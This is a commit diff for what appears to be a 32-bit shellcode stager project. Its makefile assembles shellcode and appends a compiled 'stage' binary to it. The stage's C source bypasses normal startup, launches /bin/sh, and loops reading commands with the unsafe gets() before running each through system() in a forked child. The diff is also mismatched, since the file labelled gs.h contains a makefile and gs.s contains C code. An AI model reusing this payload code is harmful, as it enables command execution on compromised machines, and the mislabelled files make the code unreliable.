cleanup

Author: evanpjensen

32bitStager/makefile

@@ -3,8 +3,9 @@
 shellcode = mapper_payload.s
 NFLAGS = elf
 CFLAGS = -m32 
+STAGE_LOC=../stage/
 
-all: mapper_payload test_shellcode
+all: stage mapper_payload test_shellcode 
 assemble:
 	nasm -f $(NFLAGS) $(shellcode) -o linkme.o
 	nasm $(shellcode) -o shellcode
@@ -14,15 +15,15 @@ link:
 mapper_payload: mapper_payload.s
 	nasm mapper_payload.s -o shellcode
 	nasm mapper_payload.s -o mapper_payload_test
-	cat stage >> mapper_payload_test
+	cat $(STAGE_LOC)/stage >> mapper_payload_test
 
 test_shellcode: test_shellcode.c
 	gcc -m32 test_shellcode.c -o test_shellcode
 
+stage:
+	cd $(STAGE_LOC) && $(MAKE)
 
+clean:
+	rm -f linkme.o testShellcode shellcode
 
 
-clean:
-	rm linkme.o
-	rm testShellcode
-	rm shellcode

lib_research/gs.h renamed to include/runtime/gs.h

@@ -0,0 +1,24 @@
+
+RUNTIMEDIR = ../include/runtime/
+INCLUDEDIR = ../include/
+INCLUDE    = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
+CFLAGS= -m32 -nostdlib -lc -D start -fPIE -pie  $(INCLUDE)
+DEBUG_FLAGS= -m32 -lc -fPIE -pie -D DEBUG  $(INCLUDE)
+TARGET=stage.c
+
+all: compile debug_compile
+
+assemble: $(RUNTIMEDIR)gs.s
+	nasm -f elf $(RUNTIMEDIR)gs.s -o gs.o
+
+compile:   assemble $(TARGET) 
+	gcc $(TARGET) -c -o stage.o $(CFLAGS)
+	gcc stage.o gs.o -o stage $(CFLAGS)
+	strip stage
+
+debug_compile: assemble $(TARGET) 
+	gcc $(TARGET) -c -o debug.o $(DEBUG_FLAGS)
+	gcc debug.o gs.o -o debug_stage 
+
+clean:
+	rm -f stage.o debug.o stage debug_stage gs.o

lib_research/gs.s renamed to include/runtime/gs.s

@@ -0,0 +1,112 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <sys/select.h>
+#include <stdbool.h>
+
+#include "runtime/gs.h"
+
+#define BREAK() __asm__("int3");
+
+#ifdef start
+void _start(void){
+  main();
+}
+#endif
+
+int test_functions(int,char**,char**);
+void do_child(char* command);
+void print_arg_env(char**,char**);
+void fork_and_communicate(void);
+
+int main(int argc,char** argv,char** envp){
+
+#ifdef DEBUG  
+  
+  test_functions(argc, argv, envp);
+  _exit(0);
+#endif
+  do_patch_pie();
+  
+  
+  start_main_wrapper_alt(test_functions);
+  
+}
+
+
+int test_functions(int argc,char** argv,char** envp){
+
+  
+  print_arg_env(argv,envp);
+  system("/bin/sh");
+  while(true){
+    fork_and_communicate();
+  }
+    
+  
+  _exit(0);
+  return 0;//main 2
+}
+
+void do_child(char* command){
+  int res=__libc_system(command);
+  //free(command);
+  _exit(0);
+}
+
+void print_arg_env(char** argv,char** envp){
+  _IO_puts("----------ARGS----------");
+  while(*argv){
+    _IO_puts(*(argv++));
+  }
+  _IO_puts("----------ENV----------");
+  while(*envp){
+    _IO_puts(*(envp++));
+  }
+  fflush(NULL);
+  return;
+}
+
+
+void fork_and_communicate(void){
+  
+  int pipe_fd[2];
+  __pipe(pipe_fd);
+  int read_fd=pipe_fd[0], write_fd=pipe_fd[1]; 
+ 
+  fd_set select_r_fds;
+  fd_set select_w_fds;
+  fd_set select_x_fds;
+  int max_fd=0;
+  FD_ZERO(&select_r_fds);
+  FD_ZERO(&select_w_fds);
+  FD_ZERO(&select_x_fds);
+  
+  pid_t child;
+
+  char command[0x1000];
+  memset(command,0,sizeof(command));
+  gets(command);
+
+  if((child=__fork())<0){
+    puts("There was a problem forking");
+    fflush(NULL);
+  }
+  else{
+    if(child==0){
+      dup2(read_fd,  STDIN_FILENO);
+      dup2(write_fd, STDOUT_FILENO);
+      do_child(command);
+      //child exits
+    }
+    else{
+      wait(child);
+      __close(read_fd);
+      __close(write_fd);
+      
+    }
+  }
+  return;
+}